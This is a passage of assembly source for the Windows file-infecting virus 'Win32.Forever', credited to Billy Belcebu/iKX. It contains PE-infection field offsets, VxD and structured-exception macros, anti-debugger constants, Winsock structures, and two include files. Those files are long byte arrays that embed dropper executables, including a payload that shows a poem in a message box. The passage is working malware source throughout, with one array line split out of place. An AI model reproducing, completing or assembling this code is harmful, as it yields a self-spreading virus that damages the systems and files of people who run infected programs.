CodeRVA = 2Ch
FileAlignment = 3Ch
MagicInfection = 4Ch
SizeOfImage = 50h
CheckSum = 58h
PECharacteristics= 5Eh
DirEntryReloc = 0A0h

; Some section header fields

SectionName = 00h
VirtualSize = 08h
VirtualAddress = 0Ch
SizeOfRawData = 10h
PtrToRawData = 14h
PtrToReloc = 18h
NumOfReloc = 20h
Characteristics = 24h

; Other thingies

NoSoftICE = 00h
MAX_PATH = 104h
RetAddress = 20h

; Some used VxDCalls :)

VXDLDR_GetDeviceList = 00270005h
VMM_Get_DDB = 00010146h
VMM_PageQuery = 00010134h

; WINSOCK structures needed

WSADATA struct
mVersion dw ?
mHighVersion dw ?
szDescription db 257 dup(?)
szSystemStatus db 129 dup(?)
iMaxSockets dw ?
iMaxUpdDg dw ?
lpVendorInfo dd ?
WSADATA ends

SOCKADDR struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup(?)
SOCKADDR ends

HOSTENT struc
h_name dd ?
h_aliases dd ?
h_addrtype dw ?
h_lenght dw ?
h_addr_list dd ?
h_ip dd ?
HOSTENT ends

; Some macros

VxDCall macro Service
int 20h
dd Service
endm

VxDJmp macro Service
VxDCall Service+8000h
endm

apicall macro Api
call dword ptr [ebp+Api]
endm

; These functions are similar to Jacky Qwerty's

pushs macro String
local korn
call korn
db String,00h
korn:
endm

pSEH macro HandlerSEH
local shit
call shit
mov esp,[esp+08h]
HandlerSEH
shit: xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm

rSEH macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm

;------------------------------[ DROPPER.INC ]------------------------------;

;############################################################################
;# WIN32.FOREVER - INC FILE (DROPPER) (c) 1999 Billy Belcebu/iKX #
;############################################################################

; This is the dropper of a LSCE compressed PE EXE, with the following code:

; .386
; .model flat,stdcall
;
; extrn ExitProcess:PROC
;
; .data
;
; db 0
;
; .code
;
; start:
; call ExitProcess,0
; end start
;
; And a self-extracting icon :)

dr0p:
db 04Dh, 05Ah, 050h, 000h, 001h, 000h, 002h, 000h
db 003h, 000h, 004h, 000h, 001h, 000h, 00Fh, 000h
db 001h, 000h, 0FFh, 0FFh, 000h, 002h, 000h, 0B8h
db 000h, 007h, 000h, 040h, 000h, 001h, 000h, 01Ah
db 000h, 022h, 000h, 001h, 000h, 002h, 000h, 0BAh
db 010h, 000h, 001h, 000h, 00Eh, 01Fh, 0B4h, 009h
db 0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
db 090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
db 073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
db 06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
db 057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
db 037h, 000h, 088h, 000h, 050h, 045h, 000h, 002h
db 000h, 04Ch, 001h, 005h, 000h, 001h, 000h, 091h
db 028h, 0E0h, 0B6h, 000h, 008h, 000h, 0E0h, 000h
db 001h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
db 000h, 001h, 000h, 002h, 000h, 003h, 000h, 00Ah
db 000h, 007h, 000h, 010h, 000h, 003h, 000h, 010h
db 000h, 003h, 000h, 020h, 000h, 004h, 000h, 040h
db 000h, 002h, 000h, 010h, 000h, 003h, 000h, 002h
db 000h, 002h, 000h, 001h, 000h, 007h, 000h, 003h
db 000h, 001h, 000h, 00Ah, 000h, 006h, 000h, 060h
db 000h, 003h, 000h, 004h, 000h, 006h, 000h, 002h
db 000h, 005h, 000h, 010h, 000h, 002h, 000h, 020h
db 000h, 004h, 000h, 010h, 000h, 002h, 000h, 010h
db 000h, 006h, 000h, 010h, 000h, 00Ch, 000h, 030h
db 000h, 002h, 000h, 054h, 000h, 004h, 000h, 050h
db 000h, 003h, 000h, 006h, 000h, 013h, 000h, 040h
db 000h, 002h, 000h, 00Ch, 000h, 053h, 000h, 043h
db 04Fh, 044h, 045h, 000h, 005h, 000h, 010h, 000h
db 003h, 000h, 010h, 000h, 003h, 000h, 002h, 000h
db 003h, 000h, 006h, 000h, 00Eh, 000h, 020h, 000h
db 002h, 000h, 0E0h, 044h, 041h, 054h, 041h, 000h
db 005h, 000h, 010h, 000h, 003h, 000h, 020h, 000h
db 007h, 000h, 008h, 000h, 00Eh, 000h, 040h, 000h
db 002h, 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h
db 061h, 000h, 003h, 000h, 010h, 000h, 003h, 000h
db 030h, 000h, 003h, 000h, 002h, 000h, 003h, 000h
db 008h, 000h, 00Eh, 000h, 040h, 000h, 002h, 000h
db 0C0h, 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h
db 003h, 000h, 010h, 000h, 003h, 000h, 040h, 000h
db 003h, 000h, 002h, 000h, 003h, 000h, 00Ah, 000h
db 00Eh, 000h, 040h, 000h, 002h, 000h, 050h, 02Eh
db 072h, 073h, 072h, 063h, 000h, 004h, 000h, 010h
db 000h, 003h, 000h, 050h, 000h, 003h, 000h, 006h
db 000h, 003h, 000h, 00Ch, 000h, 00Eh, 000h, 040h
db 000h, 002h, 000h, 050h, 000h, 040h, 003h, 06Ah
db 000h, 001h, 000h, 0E8h, 000h, 004h, 000h, 0FFh
db 025h, 030h, 030h, 040h, 000h, 0F4h, 001h, 028h
db 030h, 000h, 00Ah, 000h, 038h, 030h, 000h, 002h
db 000h, 030h, 030h, 000h, 016h, 000h, 046h, 030h
db 000h, 006h, 000h, 046h, 030h, 000h, 006h, 000h
db 04Bh, 045h, 052h, 04Eh, 045h, 04Ch, 033h, 032h
db 02Eh, 064h, 06Ch, 06Ch, 000h, 004h, 000h, 045h
db 078h, 069h, 074h, 050h, 072h, 06Fh, 063h, 065h
db 073h, 073h, 000h, 0AEh, 001h, 010h, 000h, 002h
db 000h, 00Ch, 000h, 003h, 000h, 009h, 030h, 000h
db 0FAh, 001h, 004h, 05Eh, 0FBh, 038h, 000h, 006h
db 000h, 002h, 000h, 001h, 000h, 003h, 000h, 003h
db 000h, 020h, 000h, 002h, 000h, 080h, 00Eh, 000h
db 003h, 000h, 040h, 000h, 002h, 000h, 080h, 000h
db 004h, 000h, 004h, 05Eh, 0FBh, 038h, 000h, 006h
db 000h, 002h, 000h, 001h, 000h, 001h, 000h, 003h
db 000h, 058h, 000h, 002h, 000h, 080h, 002h, 000h
db 003h, 000h, 070h, 000h, 002h, 000h, 080h, 000h
db 004h, 000h, 004h, 05Eh, 0FBh, 038h, 000h, 006h
db 000h, 001h, 000h, 001h, 000h, 09Ah, 002h, 000h
db 002h, 000h, 088h, 000h, 002h, 000h, 080h, 000h
db 004h, 000h, 004h, 05Eh, 0FBh, 038h, 000h, 006h
db 000h, 001h, 000h, 005h, 000h, 0A0h, 000h, 007h
db 000h, 004h, 05Eh, 0FBh, 038h, 000h, 006h, 000h
db 001h, 000h, 005h, 000h, 0B0h, 000h, 007h, 000h
db 004h, 05Eh, 0FBh, 038h, 000h, 006h, 000h, 001h
db 000h, 005h, 000h, 0C0h, 000h, 003h, 000h, 0D0h
db 050h, 000h, 002h, 000h, 0E8h, 002h, 000h, 00Ah
db 000h, 0B8h, 053h, 000h, 002h, 000h, 028h, 001h
db 000h, 00Ah, 000h, 0E0h, 054h, 000h, 002h, 000h
db 022h, 000h, 00Bh, 000h, 028h, 000h, 003h, 000h
db 020h, 000h, 003h, 000h, 040h, 000h, 003h, 000h
db 001h, 000h, 001h, 000h, 004h, 000h, 005h, 000h
db 080h, 002h, 000h, 018h, 000h, 080h, 000h, 002h
db 000h, 080h, 000h, 003h, 000h, 080h, 080h, 000h
db 001h, 000h, 080h, 000h, 003h, 000h, 080h, 000h
db 001h, 000h, 080h, 000h, 001h, 000h, 080h, 080h
db 000h, 002h, 000h, 080h, 080h, 080h, 000h, 001h
db 000h, 0C0h, 0C0h, 0C0h, 000h, 003h, 000h, 0FFh
db 000h, 002h, 000h, 0FFh, 000h, 003h, 000h, 0FFh
db 0FFh, 000h, 001h, 000h, 0FFh, 000h, 003h, 000h
db 0FFh, 000h, 001h, 000h, 0FFh, 000h, 001h, 000h
db 0FFh, 0FFh, 000h, 002h, 000h, 0FFh, 0FFh, 0FFh
db 000h, 012h, 000h, 006h, 088h, 088h, 088h, 088h
db 088h, 088h, 088h, 088h, 088h, 088h, 088h, 088h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0F0h, 078h, 078h, 077h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0F0h, 087h, 087h, 070h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0F0h, 007h, 00Fh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 000h, 004h, 000h, 0FFh, 0FFh, 0F8h, 000h
db 003h, 000h, 006h, 0FFh, 0FFh, 0F0h, 000h, 002h
db 000h, 078h, 088h, 088h, 088h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 077h, 077h
db 077h, 077h, 077h, 077h, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 0B8h
db 0B8h, 0B8h, 0B7h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 08Bh
db 08Bh, 08Bh, 087h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 0B8h
db 0B8h, 0B8h, 0F7h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 08Bh
db 08Bh, 08Bh, 087h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 0B8h
db 0B8h, 0B8h, 0B7h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 07Fh, 0FFh
db 0FFh, 0FFh, 0F7h, 00Fh, 078h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 078h, 0B8h
db 0B8h, 077h, 077h, 00Fh, 008h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0F7h, 08Bh
db 087h, 000h, 003h, 000h, 008h, 00Fh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 077h
db 07Fh, 078h, 088h, 088h, 080h, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh,

0FFh 
db 0FFh, 0F7h, 077h, 077h, 07Fh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F8h
db 000h, 003h, 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 060h, 000h, 005h
db 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 06Fh, 0F8h, 070h, 000h, 003h
db 000h, 006h, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 06Fh, 087h, 000h, 004h, 000h
db 006h, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 0FFh, 068h, 070h, 000h, 004h, 000h, 006h
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh
db 0FFh, 066h, 000h, 005h, 000h, 006h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 060h
db 000h, 005h, 000h, 006h, 066h, 066h, 066h, 066h
db 066h, 066h, 066h, 066h, 066h, 060h, 000h, 004h
db 000h, 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h
db 002h, 000h, 007h, 0E0h, 000h, 002h, 000h, 007h
db 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h, 002h
db 000h, 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h
db 000h, 002h, 000h, 007h, 0E0h, 000h, 002h, 000h
db 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h
db 002h, 000h, 007h, 0E0h, 000h, 002h, 000h, 007h
db 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h, 002h
db 000h, 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h
db 000h, 002h, 000h, 007h, 0E0h, 000h, 002h, 000h
db 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h
db 002h, 000h, 007h, 0E0h, 000h, 002h, 000h, 007h
db 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h, 002h
db 000h, 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h
db 000h, 002h, 000h, 007h, 0E0h, 000h, 002h, 000h
db 007h, 0E0h, 000h, 002h, 000h, 007h, 0E0h, 000h
db 002h, 000h, 007h, 0E0h, 000h, 002h, 000h, 00Fh
db 0E0h, 000h, 002h, 000h, 01Fh, 0E0h, 000h, 002h
db 000h, 03Fh, 0E0h, 000h, 002h, 000h, 07Fh, 0E0h
db 000h, 002h, 000h, 0FFh, 0E0h, 000h, 001h, 000h
db 001h, 0FFh, 028h, 000h, 003h, 000h, 010h, 000h
db 003h, 000h, 020h, 000h, 003h, 000h, 001h, 000h
db 001h, 000h, 004h, 000h, 005h, 000h, 0C0h, 000h
db 019h, 000h, 080h, 000h, 002h, 000h, 080h, 000h
db 003h, 000h, 080h, 080h, 000h, 001h, 000h, 080h
db 000h, 003h, 000h, 080h, 000h, 001h, 000h, 080h
db 000h, 001h, 000h, 080h, 080h, 000h, 002h, 000h
db 080h, 080h, 080h, 000h, 001h, 000h, 0C0h, 0C0h
db 0C0h, 000h, 003h, 000h, 0FFh, 000h, 002h, 000h
db 0FFh, 000h, 003h, 000h, 0FFh, 0FFh, 000h, 001h
db 000h, 0FFh, 000h, 003h, 000h, 0FFh, 000h, 001h
db 000h, 0FFh, 000h, 001h, 000h, 0FFh, 0FFh, 000h
db 002h, 000h, 0FFh, 0FFh, 0FFh, 000h, 005h, 000h
db 078h, 078h, 077h, 000h, 005h, 000h, 087h, 087h
db 070h, 000h, 006h, 000h, 007h, 000h, 00Dh, 000h
db 078h, 088h, 088h, 088h, 000h, 001h, 000h, 077h
db 077h, 077h, 077h, 077h, 077h, 078h, 000h, 001h
db 000h, 07Fh, 0B8h, 0B8h, 0B8h, 0B7h, 000h, 001h
db 000h, 078h, 000h, 001h, 000h, 07Fh, 08Bh, 08Bh
db 08Bh, 087h, 000h, 001h, 000h, 078h, 000h, 001h
db 000h, 07Fh, 0B8h, 0B8h, 0B8h, 0F7h, 000h, 001h
db 000h, 078h, 000h, 001h, 000h, 07Fh, 08Bh, 08Bh
db 08Bh, 087h, 000h, 001h, 000h, 078h, 000h, 001h
db 000h, 07Fh, 0B8h, 0B8h, 0B8h, 0B7h, 000h, 001h
db 000h, 078h, 000h, 001h, 000h, 07Fh, 0FFh, 0FFh
db 0FFh, 0F7h, 000h, 001h, 000h, 078h, 000h, 001h
db 000h, 078h, 0B8h, 0B8h, 077h, 077h, 000h, 001h
db 000h, 008h, 000h, 001h, 000h, 007h, 08Bh, 087h
db 000h, 003h, 000h, 008h, 000h, 002h, 000h, 077h
db 070h, 078h, 088h, 088h, 080h, 000h, 004h, 000h
db 007h, 077h, 077h, 070h, 000h, 001h, 000h, 0FEh
db 001h, 000h, 001h, 000h, 0A0h, 0FEh, 001h, 01Fh
db 001h, 0FFh, 087h, 00Eh, 001h, 0FCh, 003h, 000h
db 002h, 000h, 080h, 001h, 000h, 003h, 000h, 001h
db 000h, 003h, 000h, 011h, 000h, 003h, 000h, 011h
db 000h, 003h, 000h, 011h, 000h, 003h, 000h, 011h
db 000h, 003h, 000h, 011h, 000h, 003h, 000h, 011h
db 000h, 003h, 000h, 011h, 000h, 002h, 000h, 080h
db 001h, 000h, 002h, 000h, 0C4h, 003h, 000h, 002h
db 000h, 0FEh, 007h, 00Eh, 001h, 000h, 002h, 000h
db 001h, 000h, 001h, 000h, 002h, 000h, 001h, 000h
db 020h, 020h, 010h, 000h, 001h, 000h, 001h, 000h
db 001h, 000h, 004h, 000h, 001h, 000h, 0E8h, 002h
db 000h, 002h, 000h, 001h, 000h, 001h, 000h, 010h
db 010h, 010h, 000h, 001h, 000h, 001h, 000h, 001h
db 000h, 004h, 000h, 001h, 000h, 028h, 001h, 000h
db 002h, 000h, 002h, 000h, 0FFh, 00Eh
sdr0p equ ($-offset dr0p)

;-----------------------------[ DROPPER1.INC ]------------------------------;

;############################################################################
;# WIN32.FOREVER - INC FILE (PAYLOAD DROPPER) (c) 2000 Billy Belcebu/iKX #
;############################################################################

dr0p1: db 04Dh, 05Ah, 050h, 000h, 001h, 000h, 002h, 000h
db 003h, 000h, 004h, 000h, 001h, 000h, 00Fh, 000h
db 001h, 000h, 0FFh, 0FFh, 000h, 002h, 000h, 0B8h
db 000h, 007h, 000h, 040h, 000h, 001h, 000h, 01Ah
db 000h, 022h, 000h, 001h, 000h, 002h, 000h, 0BAh
db 010h, 000h, 001h, 000h, 00Eh, 01Fh, 0B4h, 009h
db 0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
db 090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
db 073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
db 06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
db 057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
db 037h, 000h, 088h, 000h, 050h, 045h, 000h, 002h
db 000h, 04Ch, 001h, 005h, 000h, 001h, 000h, 038h
db 028h, 093h, 0B6h, 000h, 008h, 000h, 0E0h, 000h
db 001h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
db 000h, 001h, 000h, 002h, 000h, 003h, 000h, 010h
db 000h, 007h, 000h, 010h, 000h, 003h, 000h, 010h
db 000h, 003h, 000h, 020h, 000h, 004h, 000h, 040h
db 000h, 002h, 000h, 010h, 000h, 003h, 000h, 002h
db 000h, 002h, 000h, 001h, 000h, 007h, 000h, 003h
db 000h, 001h, 000h, 00Ah, 000h, 006h, 000h, 060h
db 000h, 003h, 000h, 004h, 000h, 006h, 000h, 002h
db 000h, 005h, 000h, 010h, 000h, 002h, 000h, 020h
db 000h, 004h, 000h, 010h, 000h, 002h, 000h, 010h
db 000h, 006h, 000h, 010h, 000h, 00Ch, 000h, 030h
db 000h, 002h, 000h, 090h, 000h, 004h, 000h, 050h
db 000h, 003h, 000h, 00Ah, 000h, 013h, 000h, 040h
db 000h, 002h, 000h, 014h, 000h, 053h, 000h, 043h
db 04Fh, 044h, 045h, 000h, 005h, 000h, 010h, 000h
db 003h, 000h, 010h, 000h, 003h, 000h, 002h, 000h
db 003h, 000h, 006h, 000h, 00Eh, 000h, 020h, 000h
db 002h, 000h, 0E0h, 044h, 041h, 054h, 041h, 000h
db 005h, 000h, 010h, 000h, 003h, 000h, 020h, 000h
db 003h, 000h, 002h, 000h, 003h, 000h, 008h, 000h
db 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h, 02Eh
db 069h, 064h, 061h, 074h, 061h, 000h, 003h, 000h
db 010h, 000h, 003h, 000h, 030h, 000h, 003h, 000h
db 002h, 000h, 003h, 000h, 00Ah, 000h, 00Eh, 000h
db 040h, 000h, 002h, 000h, 0C0h, 02Eh, 072h, 065h
db 06Ch, 06Fh, 063h, 000h, 003h, 000h, 010h, 000h
db 003h, 000h, 040h, 000h, 003h, 000h, 002h, 000h
db 003h, 000h, 00Ch, 000h, 00Eh, 000h, 040h, 000h
db 002h, 000h, 050h, 02Eh, 072h, 073h, 072h, 063h
db 000h, 004h, 000h, 010h, 000h, 003h, 000h, 050h
db 000h, 003h, 000h, 00Ah, 000h, 003h, 000h, 00Eh
db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 050h
db 000h, 040h, 003h, 06Ah, 000h, 001h, 000h, 068h
db 000h, 001h, 000h, 020h, 040h, 000h, 001h, 000h
db 068h, 00Eh, 020h, 040h, 000h, 001h, 000h, 06Ah
db 000h, 001h, 000h, 0E8h, 007h, 000h, 003h, 000h
db 06Ah, 000h, 001h, 000h, 0E8h, 006h, 000h, 003h
db 000h, 0FFh, 025h, 04Ch, 030h, 040h, 000h, 001h
db 000h, 0FFh, 025h, 054h, 030h, 040h, 000h, 0DBh
db 001h, 057h, 069h, 06Eh, 033h, 032h, 02Eh, 046h
db 06Fh, 072h, 065h, 076h, 065h, 072h, 000h, 001h
db 000h, 049h, 020h, 073h, 074h, 061h, 06Eh, 064h
db 020h, 061h, 06Ch, 06Fh, 06Eh, 065h, 020h, 069h
db 06Eh, 020h, 074h, 068h, 065h, 020h, 064h, 061h
db 072h, 06Bh, 06Eh, 065h, 073h, 073h, 00Ah, 074h
db 068h, 065h, 020h, 077h, 069h, 06Eh, 074h, 065h
db 072h, 020h, 06Fh, 066h, 020h, 06Dh, 079h, 020h
db 06Ch, 069h, 066h, 065h, 020h, 063h, 061h, 06Dh
db 065h, 020h, 073h, 06Fh, 020h, 066h, 061h, 073h
db 074h, 00Ah, 06Dh, 065h, 06Dh, 06Fh, 072h, 069h
db 065h, 073h, 020h, 067h, 06Fh, 020h, 062h, 061h
db 063h, 06Bh, 020h, 074h, 06Fh, 020h, 06Dh, 079h
db 020h, 063h, 068h, 069h, 06Ch, 064h, 068h, 06Fh
db 06Fh, 064h, 00Ah, 074h, 06Fh, 020h, 064h, 061h
db 079h, 073h, 020h, 069h, 020h, 073h, 074h, 069h
db 06Ch, 06Ch, 020h, 072h, 065h, 063h, 061h, 06Ch
db 06Ch, 00Ah, 00Ah, 04Fh, 068h, 020h, 068h, 06Fh
db 077h, 020h, 068h, 061h, 070h, 070h, 079h, 020h
db 069h, 020h, 077h, 061h, 073h, 020h, 074h, 068h
db 065h, 06Eh, 00Ah, 074h, 068h, 065h, 072h, 065h
db 020h, 077h, 061h, 073h, 020h, 06Eh, 06Fh, 020h
db 073h, 06Fh, 072h, 072h, 06Fh, 077h, 02Ch, 020h
db 074h, 068h, 065h, 072h, 065h, 020h, 077h, 061h
db 073h, 020h, 06Eh, 06Fh, 020h, 070h, 061h, 069h
db 06Eh, 00Ah, 077h, 061h, 06Ch, 06Bh, 069h, 06Eh
db 067h, 020h, 074h, 068h, 072h, 06Fh, 075h, 067h
db 068h, 020h, 074h, 068h, 065h, 020h, 067h, 072h
db 065h, 065h, 06Eh, 020h, 066h, 069h, 065h, 06Ch
db 064h, 073h, 00Ah, 073h, 075h, 06Eh, 073h, 068h
db 069h, 06Eh, 065h, 020h, 069h, 06Eh, 020h, 06Dh
db 079h, 020h, 065h, 079h, 065h, 073h, 00Ah, 00Ah
db 049h, 027h, 06Dh, 020h, 073h, 074h, 069h, 06Ch
db 06Ch, 020h, 074h, 068h, 065h, 072h, 065h, 020h
db 065h, 076h, 065h, 072h, 079h, 077h, 068h, 065h
db 072h, 065h, 00Ah, 049h, 027h, 06Dh, 020h, 074h
db 068h, 065h, 020h, 064h, 075h, 073h, 074h, 020h
db 069h, 06Eh, 020h, 074h, 068h, 065h, 020h, 077h
db 069h, 06Eh, 064h, 00Ah, 049h, 027h, 06Dh, 020h
db 074h, 068h, 065h, 020h, 073h, 074h, 061h, 072h
db 020h, 069h, 06Eh, 020h, 074h, 068h, 065h, 020h
db 06Eh, 06Fh, 072h, 074h, 068h, 065h, 072h, 06Eh
db 020h, 073h, 06Bh, 079h, 00Ah, 049h, 020h, 06Eh
db 065h, 076h, 065h, 072h, 020h, 073h, 074h, 061h
db 079h, 065h, 064h, 020h, 061h, 06Eh, 079h, 077h
db 068h, 065h, 072h, 065h, 00Ah, 049h, 027h, 06Dh
db 020h, 074h, 068h, 065h, 020h, 077h, 069h, 06Eh
db 064h, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h
db 020h, 074h, 072h, 065h, 065h, 073h, 00Ah, 057h
db 06Fh, 075h, 06Ch, 064h, 020h, 079h, 06Fh, 075h
db 020h, 077h, 061h, 069h, 074h, 020h, 066h, 06Fh
db 072h, 020h, 06Dh, 065h, 02Eh, 02Eh, 02Eh, 020h
db 066h, 06Fh, 072h, 065h, 076h, 065h, 072h, 03Fh
db 000h, 001h, 000h, 046h, 06Fh, 072h, 065h, 076h
db 065h, 072h, 020h, 05Bh, 020h, 053h, 074h, 072h
db 061h, 074h, 06Fh, 076h, 061h, 072h, 069h, 075h
db 073h, 020h, 05Dh, 000h, 042h, 000h, 03Ch, 030h
db 000h, 00Ah, 000h, 05Ch, 030h, 000h, 002h, 000h
db 04Ch, 030h, 000h, 002h, 000h, 044h, 030h, 000h
db 00Ah, 000h, 067h, 030h, 000h, 002h, 000h, 054h
db 030h, 000h, 016h, 000h, 074h, 030h, 000h, 006h
db 000h, 082h, 030h, 000h, 006h, 000h, 074h, 030h
db 000h, 006h, 000h, 082h, 030h, 000h, 006h, 000h
db 055h, 053h, 045h, 052h, 033h, 032h, 02Eh, 064h
db 06Ch, 06Ch, 000h, 001h, 000h, 04Bh, 045h, 052h
db 04Eh, 045h, 04Ch, 033h, 032h, 02Eh, 064h, 06Ch
db 06Ch, 000h, 003h, 000h, 04Dh, 065h, 073h, 073h
db 061h, 067h, 065h, 042h, 06Fh, 078h, 041h, 000h
db 003h, 000h, 045h, 078h, 069h, 074h, 050h, 072h
db 06Fh, 063h, 065h, 073h, 073h, 000h, 072h, 001h
db 010h, 000h, 002h, 000h, 014h, 000h, 003h, 000h
db 003h, 030h, 008h, 030h, 01Ch, 030h, 022h, 030h
db 000h, 0F4h, 001h, 098h, 0BBh, 08Ch, 038h, 000h
db 006h, 000h, 002h, 000h, 001h, 000h, 003h, 000h
db 003h, 000h, 020h, 000h, 002h, 000h, 080h, 00Eh
db 000h, 003h, 000h, 038h, 000h, 002h, 000h, 080h
db 000h, 004h, 000h, 098h, 0BBh, 08Ch, 038h, 000h
db 006h, 000h, 001h, 000h, 001h, 000h, 001h, 000h
db 003h, 000h, 050h, 000h, 002h, 000h, 080h, 000h
db 004h, 000h, 098h, 0BBh, 08Ch, 038h, 000h, 006h
db 000h, 001h, 000h, 001h, 000h, 09Ah, 002h, 000h
db 002h, 000h, 068h, 000h, 002h, 000h, 080h, 000h
db 004h, 000h, 098h, 0BBh, 08Ch, 038h, 000h, 006h
db 000h, 001h, 000h, 005h, 000h, 080h, 000h, 007h
db 000h, 098h, 0BBh, 08Ch, 038h, 000h, 006h, 000h
db 001h, 000h, 005h, 000h, 090h, 000h, 003h, 000h
db 0A0h, 050h, 000h, 002h, 000h, 0A8h, 008h, 000h
db 00Ah, 000h, 048h, 059h, 000h, 002h, 000h, 014h
db 000h, 00Bh, 000h, 028h, 000h, 003h, 000h, 020h
db 000h, 003h, 000h, 040h, 000h, 003h, 000h, 001h
db 000h, 001h, 000h, 010h, 000h, 005h, 000h, 080h
db 008h, 000h, 012h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
